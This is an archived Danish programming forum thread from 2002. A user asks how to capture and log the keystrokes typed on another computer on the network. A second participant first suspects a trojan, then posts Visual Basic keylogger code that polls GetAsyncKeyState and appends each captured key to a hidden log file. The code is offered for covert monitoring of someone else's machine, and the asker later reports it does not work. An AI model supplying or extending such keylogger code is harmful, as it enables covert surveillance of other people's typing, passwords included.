Avatar billede teknikeren Nybegynder
03. marts 2002 - 09:11 Der er 8 kommentarer og
1 løsning

Sende data

Jeg har en client og en server og fra klienten vil jeg gerne have sendt nogle data til serveren...Jeg vil gerne have det sådan at man kan se hvilke taster en anden computer trykker på - de data vil jeg gerne have sendt...Men hvordan?
Avatar billede sjh Nybegynder
03. marts 2002 - 12:19 #1
Nu er det vel ikke en NETBUS du er ved at lave.
Avatar billede teknikeren Nybegynder
04. marts 2002 - 17:53 #2
Nej det er ikke det er jo ulovligt!
Avatar billede sjh Nybegynder
04. marts 2002 - 19:31 #3
jep, når så prøv koden her:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Public Function GetPressedKey() As String
Dim i As Long
  For i = 32 To 128
    If GetAsyncKeyState(i) = -32767 Then
        GetPressedKey = Chr$(i)
      Exit For
    End If
  Next i
End Function

Private Sub Form_Load()
  Timer1.Interval = 50
End Sub

Private Sub Timer1_Timer()
  Me.Caption = GetPressedKey
End Sub
Avatar billede teknikeren Nybegynder
04. marts 2002 - 20:46 #4
Ja det virker men det skal jo være sådan at man lægger en client ind på en anden computer på netværket så man kan se (på serveren) hvilke taster CLIENTEN trykker på og det skal lægges som log i en textfil(hvis du forstår mig)...
Avatar billede sjh Nybegynder
04. marts 2002 - 20:53 #5
For mig lyder det som en NETBUS ("sådan at man lægger en client ind på en anden computer") det må du rode med selv.
Avatar billede sjh Nybegynder
04. marts 2002 - 20:55 #6
og hvad skal det gøre godt for.
Avatar billede teknikeren Nybegynder
04. marts 2002 - 21:01 #7
Det skal jo ikke virke over nettet men kun over hjemmenetværk!
Avatar billede sjh Nybegynder
04. marts 2002 - 21:29 #8
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Public Function GetPressedKey() As String
Dim i As Long
  For i = 32 To 128
    If GetAsyncKeyState(i) = -32767 Then
        GetPressedKey = Chr$(i)
      Exit For
    End If
  Next i
End Function

Private Sub Form_Load()
  Timer1.Interval = 50
End Sub

Private Sub Timer1_Timer()
Dim LenFile As Long
Dim FilePath As String
Dim KeyNow As String
  FilePath = "c:\net.log"
  KeyNow = GetPressedKey
  If KeyNow <> "" Then
    Open FilePath For Binary As #1
      LenFile = FileLen(FilePath) + 1
      Put #1, LenFile, KeyNow
    Close #1
  End If
End Sub
Avatar billede teknikeren Nybegynder
27. december 2002 - 17:22 #9
Det virker ikke... Lukker.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Kurser inden for grundlæggende programmering

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester